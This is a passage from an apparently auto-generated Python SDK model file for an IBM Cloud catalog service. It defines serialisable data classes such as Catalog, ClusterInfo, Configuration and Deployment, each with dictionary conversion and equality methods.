return not self == other
class AccumulatedFiltersCatalogFiltersItem():
"""
AccumulatedFiltersCatalogFiltersItem.
:attr AccumulatedFiltersCatalogFiltersItemCatalog catalog: (optional) Filters
for catalog.
:attr Filters filters: (optional) Filters for account and catalog filters.
"""
def __init__(self,
*,
catalog: 'AccumulatedFiltersCatalogFiltersItemCatalog' = None,
filters: 'Filters' = None) -> None:
"""
Initialize a AccumulatedFiltersCatalogFiltersItem object.
:param AccumulatedFiltersCatalogFiltersItemCatalog catalog: (optional)
Filters for catalog.
:param Filters filters: (optional) Filters for account and catalog filters.
"""
self.catalog = catalog
self.filters = filters
@classmethod
def from_dict(cls, _dict: Dict) -> 'AccumulatedFiltersCatalogFiltersItem':
"""Initialize a AccumulatedFiltersCatalogFiltersItem object from a json dictionary."""
args = {}
if 'catalog' in _dict:
args['catalog'] = AccumulatedFiltersCatalogFiltersItemCatalog.from_dict(_dict.get('catalog'))
if 'filters' in _dict:
args['filters'] = Filters.from_dict(_dict.get('filters'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a AccumulatedFiltersCatalogFiltersItem object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'catalog') and self.catalog is not None:
_dict['catalog'] = self.catalog.to_dict()
if hasattr(self, 'filters') and self.filters is not None:
_dict['filters'] = self.filters.to_dict()
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this AccumulatedFiltersCatalogFiltersItem object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'AccumulatedFiltersCatalogFiltersItem') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'AccumulatedFiltersCatalogFiltersItem') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class AccumulatedFiltersCatalogFiltersItemCatalog():
"""
Filters for catalog.
:attr str id: (optional) The ID of the catalog.
:attr str name: (optional) The name of the catalog.
"""
def __init__(self,
*,
id: str = None,
name: str = None) -> None:
"""
Initialize a AccumulatedFiltersCatalogFiltersItemCatalog object.
:param str id: (optional) The ID of the catalog.
:param str name: (optional) The name of the catalog.
"""
self.id = id
self.name = name
@classmethod
def from_dict(cls, _dict: Dict) -> 'AccumulatedFiltersCatalogFiltersItemCatalog':
"""Initialize a AccumulatedFiltersCatalogFiltersItemCatalog object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
if 'name' in _dict:
args['name'] = _dict.get('name')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a AccumulatedFiltersCatalogFiltersItemCatalog object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this AccumulatedFiltersCatalogFiltersItemCatalog object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'AccumulatedFiltersCatalogFiltersItemCatalog') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'AccumulatedFiltersCatalogFiltersItemCatalog') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class ApprovalResult():
"""
Result of approval.
:attr bool allow_request: (optional) Allowed to request to publish.
:attr bool ibm: (optional) Visible to IBM.
:attr bool public: (optional) Visible to everyone.
:attr bool changed: (optional) Denotes whether approval has changed.
"""
def __init__(self,
*,
allow_request: bool = None,
ibm: bool = None,
public: bool = None,
changed: bool = None) -> None:
"""
Initialize a ApprovalResult object.
:param bool allow_request: (optional) Allowed to request to publish.
:param bool ibm: (optional) Visible to IBM.
:param bool public: (optional) Visible to everyone.
:param bool changed: (optional) Denotes whether approval has changed.
"""
self.allow_request = allow_request
self.ibm = ibm
self.public = public
self.changed = changed
@classmethod
def from_dict(cls, _dict: Dict) -> 'ApprovalResult':
"""Initialize a ApprovalResult object from a json dictionary."""
args = {}
if 'allow_request' in _dict:
args['allow_request'] = _dict.get('allow_request')
if 'ibm' in _dict:
args['ibm'] = _dict.get('ibm')
if 'public' in _dict:
args['public'] = _dict.get('public')
if 'changed' in _dict:
args['changed'] = _dict.get('changed')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a ApprovalResult object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'allow_request') and self.allow_request is not None:
_dict['allow_request'] = self.allow_request
if hasattr(self, 'ibm') and self.ibm is not None:
_dict['ibm'] = self.ibm
if hasattr(self, 'public') and self.public is not None:
_dict['public'] = self.public
if hasattr(self, 'changed') and self.changed is not None:
_dict['changed'] = self.changed
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this ApprovalResult object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'ApprovalResult') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'ApprovalResult') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Catalog():
"""
Catalog information.
:attr str id: (optional) Unique ID.
:attr str rev: (optional) Cloudant revision.
:attr str label: (optional) Display Name in the requested language.
:attr str short_description: (optional) Description in the requested language.
:attr str catalog_icon_url: (optional) URL for an icon associated with this
catalog.
:attr List[str] tags: (optional) List of tags associated with this catalog.
:attr str url: (optional) The url for this specific catalog.
:attr str crn: (optional) CRN associated with the catalog.
:attr str offerings_url: (optional) URL path to offerings.
:attr List[Feature] features: (optional) List of features associated with this
catalog.
:attr bool disabled: (optional) Denotes whether a catalog is disabled.
:attr datetime created: (optional) The date'time this catalog was created.
:attr datetime updated: (optional) The date'time this catalog was last updated.
:attr str resource_group_id: (optional) Resource group id the catalog is owned
by.
:attr str owning_account: (optional) Account that owns catalog.
:attr Filters catalog_filters: (optional) Filters for account and catalog
filters.
:attr SyndicationResource syndication_settings: (optional) Feature information.
"""
def __init__(self,
*,
id: str = None,
rev: str = None,
label: str = None,
short_description: str = None,
catalog_icon_url: str = None,
tags: List[str] = None,
url: str = None,
crn: str = None,
offerings_url: str = None,
features: List['Feature'] = None,
disabled: bool = None,
created: datetime = None,
updated: datetime = None,
resource_group_id: str = None,
owning_account: str = None,
catalog_filters: 'Filters' = None,
syndication_settings: 'SyndicationResource' = None) -> None:
"""
Initialize a Catalog object.
:param str id: (optional) Unique ID.
:param str rev: (optional) Cloudant revision.
:param str label: (optional) Display Name in the requested language.
:param str short_description: (optional) Description in the requested
language.
:param str catalog_icon_url: (optional) URL for an icon associated with
this catalog.
:param List[str] tags: (optional) List of tags associated with this
catalog.
:param str url: (optional) The url for this specific catalog.
:param str crn: (optional) CRN associated with the catalog.
:param str offerings_url: (optional) URL path to offerings.
:param List[Feature] features: (optional) List of features associated with
this catalog.
:param bool disabled: (optional) Denotes whether a catalog is disabled.
:param datetime created: (optional) The date'time this catalog was created.
:param datetime updated: (optional) The date'time this catalog was last
updated.
:param str resource_group_id: (optional) Resource group id the catalog is
owned by.
:param str owning_account: (optional) Account that owns catalog.
:param Filters catalog_filters: (optional) Filters for account and catalog
filters.
:param SyndicationResource syndication_settings: (optional) Feature
information.
"""
self.id = id
self.rev = rev
self.label = label
self.short_description = short_description
self.catalog_icon_url = catalog_icon_url
self.tags = tags
self.url = url
self.crn = crn
self.offerings_url = offerings_url
self.features = features
self.disabled = disabled
self.created = created
self.updated = updated
self.resource_group_id = resource_group_id
self.owning_account = owning_account
self.catalog_filters = catalog_filters
self.syndication_settings = syndication_settings
@classmethod
def from_dict(cls, _dict: Dict) -> 'Catalog':
"""Initialize a Catalog object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
if '_rev' in _dict:
args['rev'] = _dict.get('_rev')
if 'label' in _dict:
args['label'] = _dict.get('label')
if 'short_description' in _dict:
args['short_description'] = _dict.get('short_description')
if 'catalog_icon_url' in _dict:
args['catalog_icon_url'] = _dict.get('catalog_icon_url')
if 'tags' in _dict:
args['tags'] = _dict.get('tags')
if 'url' in _dict:
args['url'] = _dict.get('url')
if 'crn' in _dict:
args['crn'] = _dict.get('crn')
if 'offerings_url' in _dict:
args['offerings_url'] = _dict.get('offerings_url')
if 'features' in _dict:
args['features'] = [Feature.from_dict(x) for x in _dict.get('features')]
if 'disabled' in _dict:
args['disabled'] = _dict.get('disabled')
if 'created' in _dict:
args['created'] = string_to_datetime(_dict.get('created'))
if 'updated' in _dict:
args['updated'] = string_to_datetime(_dict.get('updated'))
if 'resource_group_id' in _dict:
args['resource_group_id'] = _dict.get('resource_group_id')
if 'owning_account' in _dict:
args['owning_account'] = _dict.get('owning_account')
if 'catalog_filters' in _dict:
args['catalog_filters'] = Filters.from_dict(_dict.get('catalog_filters'))
if 'syndication_settings' in _dict:
args['syndication_settings'] = SyndicationResource.from_dict(_dict.get('syndication_settings'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Catalog object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'rev') and self.rev is not None:
_dict['_rev'] = self.rev
if hasattr(self, 'label') and self.label is not None:
_dict['label'] = self.label
if hasattr(self, 'short_description') and self.short_description is not None:
_dict['short_description'] = self.short_description
if hasattr(self, 'catalog_icon_url') and self.catalog_icon_url is not None:
_dict['catalog_icon_url'] = self.catalog_icon_url
if hasattr(self, 'tags') and self.tags is not None:
_dict['tags'] = self.tags
if hasattr(self, 'url') and self.url is not None:
_dict['url'] = self.url
if hasattr(self, 'crn') and self.crn is not None:
_dict['crn'] = self.crn
if hasattr(self, 'offerings_url') and self.offerings_url is not None:
_dict['offerings_url'] = self.offerings_url
if hasattr(self, 'features') and self.features is not None:
_dict['features'] = [x.to_dict() for x in self.features]
if hasattr(self, 'disabled') and self.disabled is not None:
_dict['disabled'] = self.disabled
if hasattr(self, 'created') and self.created is not None:
_dict['created'] = datetime_to_string(self.created)
if hasattr(self, 'updated') and self.updated is not None:
_dict['updated'] = datetime_to_string(self.updated)
if hasattr(self, 'resource_group_id') and self.resource_group_id is not None:
_dict['resource_group_id'] = self.resource_group_id
if hasattr(self, 'owning_account') and self.owning_account is not None:
_dict['owning_account'] = self.owning_account
if hasattr(self, 'catalog_filters') and self.catalog_filters is not None:
_dict['catalog_filters'] = self.catalog_filters.to_dict()
if hasattr(self, 'syndication_settings') and self.syndication_settings is not None:
_dict['syndication_settings'] = self.syndication_settings.to_dict()
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Catalog object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Catalog') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Catalog') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class CatalogSearchResult():
"""
Paginated catalog search result.
:attr int offset: (optional) The offset (origin 0) of the first resource in this
page of search results.
:attr int limit: (optional) The maximum number of resources returned in each
page of search results.
:attr int total_count: (optional) The overall total number of resources in the
search result set.
:attr int resource_count: (optional) The number of resources returned in this
page of search results.
:attr str first: (optional) A URL for retrieving the first page of search
results.
:attr str last: (optional) A URL for retrieving the last page of search results.
:attr str prev: (optional) A URL for retrieving the previous page of search
results.
:attr str next: (optional) A URL for retrieving the next page of search results.
:attr List[Catalog] resources: (optional) Resulting objects.
"""
def __init__(self,
*,
offset: int = None,
limit: int = None,
total_count: int = None,
resource_count: int = None,
first: str = None,
last: str = None,
prev: str = None,
next: str = None,
resources: List['Catalog'] = None) -> None:
"""
Initialize a CatalogSearchResult object.
:param int offset: (optional) The offset (origin 0) of the first resource
in this page of search results.
:param int limit: (optional) The maximum number of resources returned in
each page of search results.
:param int total_count: (optional) The overall total number of resources in
the search result set.
:param int resource_count: (optional) The number of resources returned in
this page of search results.
:param str first: (optional) A URL for retrieving the first page of search
results.
:param str last: (optional) A URL for retrieving the last page of search
results.
:param str prev: (optional) A URL for retrieving the previous page of
search results.
:param str next: (optional) A URL for retrieving the next page of search
results.
:param List[Catalog] resources: (optional) Resulting objects.
"""
self.offset = offset
self.limit = limit
self.total_count = total_count
self.resource_count = resource_count
self.first = first
self.last = last
self.prev = prev
self.next = next
self.resources = resources
@classmethod
def from_dict(cls, _dict: Dict) -> 'CatalogSearchResult':
"""Initialize a CatalogSearchResult object from a json dictionary."""
args = {}
if 'offset' in _dict:
args['offset'] = _dict.get('offset')
if 'limit' in _dict:
args['limit'] = _dict.get('limit')
if 'total_count' in _dict:
args['total_count'] = _dict.get('total_count')
if 'resource_count' in _dict:
args['resource_count'] = _dict.get('resource_count')
if 'first' in _dict:
args['first'] = _dict.get('first')
if 'last' in _dict:
args['last'] = _dict.get('last')
if 'prev' in _dict:
args['prev'] = _dict.get('prev')
if 'next' in _dict:
args['next'] = _dict.get('next')
if 'resources' in _dict:
args['resources'] = [Catalog.from_dict(x) for x in _dict.get('resources')]
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a CatalogSearchResult object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'offset') and self.offset is not None:
_dict['offset'] = self.offset
if hasattr(self, 'limit') and self.limit is not None:
_dict['limit'] = self.limit
if hasattr(self, 'total_count') and self.total_count is not None:
_dict['total_count'] = self.total_count
if hasattr(self, 'resource_count') and self.resource_count is not None:
_dict['resource_count'] = self.resource_count
if hasattr(self, 'first') and self.first is not None:
_dict['first'] = self.first
if hasattr(self, 'last') and self.last is not None:
_dict['last'] = self.last
if hasattr(self, 'prev') and self.prev is not None:
_dict['prev'] = self.prev
if hasattr(self, 'next') and self.next is not None:
_dict['next'] = self.next
if hasattr(self, 'resources') and self.resources is not None:
_dict['resources'] = [x.to_dict() for x in self.resources]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this CatalogSearchResult object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'CatalogSearchResult') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'CatalogSearchResult') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class CategoryFilter():
"""
Filter on a category. The filter will match against the values of the given category
with include or exclude.
:attr bool include: (optional) -> true - This is an include filter, false - this
is an exclude filter.
:attr FilterTerms filter: (optional) Offering filter terms.
"""
def __init__(self,
*,
include: bool = None,
filter: 'FilterTerms' = None) -> None:
"""
Initialize a CategoryFilter object.
:param bool include: (optional) -> true - This is an include filter, false
- this is an exclude filter.
:param FilterTerms filter: (optional) Offering filter terms.
"""
self.include = include
self.filter = filter
@classmethod
def from_dict(cls, _dict: Dict) -> 'CategoryFilter':
"""Initialize a CategoryFilter object from a json dictionary."""
args = {}
if 'include' in _dict:
args['include'] = _dict.get('include')
if 'filter' in _dict:
args['filter'] = FilterTerms.from_dict(_dict.get('filter'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a CategoryFilter object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'include') and self.include is not None:
_dict['include'] = self.include
if hasattr(self, 'filter') and self.filter is not None:
_dict['filter'] = self.filter.to_dict()
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this CategoryFilter object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'CategoryFilter') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'CategoryFilter') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class ClusterInfo():
"""
Cluster information.
:attr str resource_group_id: (optional) Resource Group ID.
:attr str resource_group_name: (optional) Resource Group name.
:attr str id: (optional) Cluster ID.
:attr str name: (optional) Cluster name.
:attr str region: (optional) Cluster region.
"""
def __init__(self,
*,
resource_group_id: str = None,
resource_group_name: str = None,
id: str = None,
name: str = None,
region: str = None) -> None:
"""
Initialize a ClusterInfo object.
:param str resource_group_id: (optional) Resource Group ID.
:param str resource_group_name: (optional) Resource Group name.
:param str id: (optional) Cluster ID.
:param str name: (optional) Cluster name.
:param str region: (optional) Cluster region.
"""
self.resource_group_id = resource_group_id
self.resource_group_name = resource_group_name
self.id = id
self.name = name
self.region = region
@classmethod
def from_dict(cls, _dict: Dict) -> 'ClusterInfo':
"""Initialize a ClusterInfo object from a json dictionary."""
args = {}
if 'resource_group_id' in _dict:
args['resource_group_id'] = _dict.get('resource_group_id')
if 'resource_group_name' in _dict:
args['resource_group_name'] = _dict.get('resource_group_name')
if 'id' in _dict:
args['id'] = _dict.get('id')
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'region' in _dict:
args['region'] = _dict.get('region')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a ClusterInfo object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'resource_group_id') and self.resource_group_id is not None:
_dict['resource_group_id'] = self.resource_group_id
if hasattr(self, 'resource_group_name') and self.resource_group_name is not None:
_dict['resource_group_name'] = self.resource_group_name
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'region') and self.region is not None:
_dict['region'] = self.region
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this ClusterInfo object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'ClusterInfo') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'ClusterInfo') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class ClusterSearchResult():
"""
Paginated cluster search result.
:attr int offset: (optional) The offset (origin 0) of the first resource in this
page of search results.
:attr int limit: (optional) The maximum number of resources returned in each
page of search results.
:attr int total_count: (optional) The overall total number of resources in the
search result set.
:attr int resource_count: (optional) The number of resources returned in this
page of search results.
:attr str first: (optional) A URL for retrieving the first page of search
results.
:attr str last: (optional) A URL for retrieving the last page of search results.
:attr str prev: (optional) A URL for retrieving the previous page of search
results.
:attr str next: (optional) A URL for retrieving the next page of search results.
:attr List[ClusterInfo] resources: (optional) Resulting objects.
"""
def __init__(self,
*,
offset: int = None,
limit: int = None,
total_count: int = None,
resource_count: int = None,
first: str = None,
last: str = None,
prev: str = None,
next: str = None,
resources: List['ClusterInfo'] = None) -> None:
"""
Initialize a ClusterSearchResult object.
:param int offset: (optional) The offset (origin 0) of the first resource
in this page of search results.
:param int limit: (optional) The maximum number of resources returned in
each page of search results.
:param int total_count: (optional) The overall total number of resources in
the search result set.
:param int resource_count: (optional) The number of resources returned in
this page of search results.
:param str first: (optional) A URL for retrieving the first page of search
results.
:param str last: (optional) A URL for retrieving the last page of search
results.
:param str prev: (optional) A URL for retrieving the previous page of
search results.
:param str next: (optional) A URL for retrieving the next page of search
results.
:param List[ClusterInfo] resources: (optional) Resulting objects.
"""
self.offset = offset
self.limit = limit
self.total_count = total_count
self.resource_count = resource_count
self.first = first
self.last = last
self.prev = prev
self.next = next
self.resources = resources
@classmethod
def from_dict(cls, _dict: Dict) -> 'ClusterSearchResult':
"""Initialize a ClusterSearchResult object from a json dictionary."""
args = {}
if 'offset' in _dict:
args['offset'] = _dict.get('offset')
if 'limit' in _dict:
args['limit'] = _dict.get('limit')
if 'total_count' in _dict:
args['total_count'] = _dict.get('total_count')
if 'resource_count' in _dict:
args['resource_count'] = _dict.get('resource_count')
if 'first' in _dict:
args['first'] = _dict.get('first')
if 'last' in _dict:
args['last'] = _dict.get('last')
if 'prev' in _dict:
args['prev'] = _dict.get('prev')
if 'next' in _dict:
args['next'] = _dict.get('next')
if 'resources' in _dict:
args['resources'] = [ClusterInfo.from_dict(x) for x in _dict.get('resources')]
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a ClusterSearchResult object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'offset') and self.offset is not None:
_dict['offset'] = self.offset
if hasattr(self, 'limit') and self.limit is not None:
_dict['limit'] = self.limit
if hasattr(self, 'total_count') and self.total_count is not None:
_dict['total_count'] = self.total_count
if hasattr(self, 'resource_count') and self.resource_count is not None:
_dict['resource_count'] = self.resource_count
if hasattr(self, 'first') and self.first is not None:
_dict['first'] = self.first
if hasattr(self, 'last') and self.last is not None:
_dict['last'] = self.last
if hasattr(self, 'prev') and self.prev is not None:
_dict['prev'] = self.prev
if hasattr(self, 'next') and self.next is not None:
_dict['next'] = self.next
if hasattr(self, 'resources') and self.resources is not None:
_dict['resources'] = [x.to_dict() for x in self.resources]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this ClusterSearchResult object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'ClusterSearchResult') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'ClusterSearchResult') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Configuration():
"""
Configuration description.
:attr str key: (optional) Configuration key.
:attr str type: (optional) Value type (string, boolean, int).
:attr object default_value: (optional) The default value.
:attr str value_constraint: (optional) Constraint associated with value, e.g.,
for string type - regx:[a-z].
:attr str description: (optional) Key description.
:attr bool required: (optional) Is key required to install.
:attr List[object] options: (optional) List of options of type.
:attr bool hidden: (optional) Hide values.
"""
def __init__(self,
*,
key: str = None,
type: str = None,
default_value: object = None,
value_constraint: str = None,
description: str = None,
required: bool = None,
options: List[object] = None,
hidden: bool = None) -> None:
"""
Initialize a Configuration object.
:param str key: (optional) Configuration key.
:param str type: (optional) Value type (string, boolean, int).
:param object default_value: (optional) The default value.
:param str value_constraint: (optional) Constraint associated with value,
e.g., for string type - regx:[a-z].
:param str description: (optional) Key description.
:param bool required: (optional) Is key required to install.
:param List[object] options: (optional) List of options of type.
:param bool hidden: (optional) Hide values.
"""
self.key = key
self.type = type
self.default_value = default_value
self.value_constraint = value_constraint
self.description = description
self.required = required
self.options = options
self.hidden = hidden
@classmethod
def from_dict(cls, _dict: Dict) -> 'Configuration':
"""Initialize a Configuration object from a json dictionary."""
args = {}
if 'key' in _dict:
args['key'] = _dict.get('key')
if 'type' in _dict:
args['type'] = _dict.get('type')
if 'default_value' in _dict:
args['default_value'] = _dict.get('default_value')
if 'value_constraint' in _dict:
args['value_constraint'] = _dict.get('value_constraint')
if 'description' in _dict:
args['description'] = _dict.get('description')
if 'required' in _dict:
args['required'] = _dict.get('required')
if 'options' in _dict:
args['options'] = _dict.get('options')
if 'hidden' in _dict:
args['hidden'] = _dict.get('hidden')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Configuration object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'key') and self.key is not None:
_dict['key'] = self.key
if hasattr(self, 'type') and self.type is not None:
_dict['type'] = self.type
if hasattr(self, 'default_value') and self.default_value is not None:
_dict['default_value'] = self.default_value
if hasattr(self, 'value_constraint') and self.value_constraint is not None:
_dict['value_constraint'] = self.value_constraint
if hasattr(self, 'description') and self.description is not None:
_dict['description'] = self.description
if hasattr(self, 'required') and self.required is not None:
_dict['required'] = self.required
if hasattr(self, 'options') and self.options is not None:
_dict['options'] = self.options
if hasattr(self, 'hidden') and self.hidden is not None:
_dict['hidden'] = self.hidden
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Configuration object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Configuration') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Configuration') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class DeployRequestBodySchematics():
"""
Schematics workspace configuration.
:attr str name: (optional) Schematics workspace name.
:attr str description: (optional) Schematics workspace description.
:attr List[str] tags: (optional) Schematics workspace tags.
:attr str resource_group_id: (optional) Resource group to use when creating the
schematics workspace.
"""
def __init__(self,
*,
name: str = None,
description: str = None,
tags: List[str] = None,
resource_group_id: str = None) -> None:
"""
Initialize a DeployRequestBodySchematics object.
:param str name: (optional) Schematics workspace name.
:param str description: (optional) Schematics workspace description.
:param List[str] tags: (optional) Schematics workspace tags.
:param str resource_group_id: (optional) Resource group to use when
creating the schematics workspace.
"""
self.name = name
self.description = description
self.tags = tags
self.resource_group_id = resource_group_id
@classmethod
def from_dict(cls, _dict: Dict) -> 'DeployRequestBodySchematics':
"""Initialize a DeployRequestBodySchematics object from a json dictionary."""
args = {}
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'description' in _dict:
args['description'] = _dict.get('description')
if 'tags' in _dict:
args['tags'] = _dict.get('tags')
if 'resource_group_id' in _dict:
args['resource_group_id'] = _dict.get('resource_group_id')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a DeployRequestBodySchematics object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'description') and self.description is not None:
_dict['description'] = self.description
if hasattr(self, 'tags') and self.tags is not None:
_dict['tags'] = self.tags
if hasattr(self, 'resource_group_id') and self.resource_group_id is not None:
_dict['resource_group_id'] = self.resource_group_id
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this DeployRequestBodySchematics object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'DeployRequestBodySchematics') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'DeployRequestBodySchematics') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class DeployRequirementsCheck():
"""
Failed deployment requirements.
:attr object pre_install: (optional) Failed during pre-install.
:attr object install: (optional) Failed during install.
"""
def __init__(self,
*,
pre_install: object = None,
install: object = None) -> None:
"""
Initialize a DeployRequirementsCheck object.
:param object pre_install: (optional) Failed during pre-install.
:param object install: (optional) Failed during install.
"""
self.pre_install = pre_install
self.install = install
@classmethod
def from_dict(cls, _dict: Dict) -> 'DeployRequirementsCheck':
"""Initialize a DeployRequirementsCheck object from a json dictionary."""
args = {}
if 'pre_install' in _dict:
args['pre_install'] = _dict.get('pre_install')
if 'install' in _dict:
args['install'] = _dict.get('install')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a DeployRequirementsCheck object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'pre_install') and self.pre_install is not None:
_dict['pre_install'] = self.pre_install
if hasattr(self, 'install') and self.install is not None:
_dict['install'] = self.install
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this DeployRequirementsCheck object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'DeployRequirementsCheck') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'DeployRequirementsCheck') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Deployment():
"""
Deployment for offering.
:attr str id: (optional) unique id.
:attr str label: (optional) Display Name in the requested language.
:attr str name: (optional) The programmatic name of this offering.
:attr str short_description: (optional) Short description in the requested
language.
:attr str long_description: (optional) Long description in the requested
language.
:attr object metadata: (optional) open ended metadata information.
:attr List[str] tags: (optional) list of tags associated with this catalog.
:attr datetime created: (optional) the date'time this catalog was created.
:attr datetime updated: (optional) the date'time this catalog was last updated.
"""
def __init__(self,
*,
id: str = None,
label: str = None,
name: str = None,
short_description: str = None,
long_description: str = None,
metadata: object = None,
tags: List[str] = None,
created: datetime = None,
updated: datetime = None) -> None:
"""
Initialize a Deployment object.
:param str id: (optional) unique id.
:param str label: (optional) Display Name in the requested language.
:param str name: (optional) The programmatic name of this offering.
:param str short_description: (optional) Short description in the requested
language.
:param str long_description: (optional) Long description in the requested
language.
:param object metadata: (optional) open ended metadata information.
:param List[str] tags: (optional) list of tags associated with this
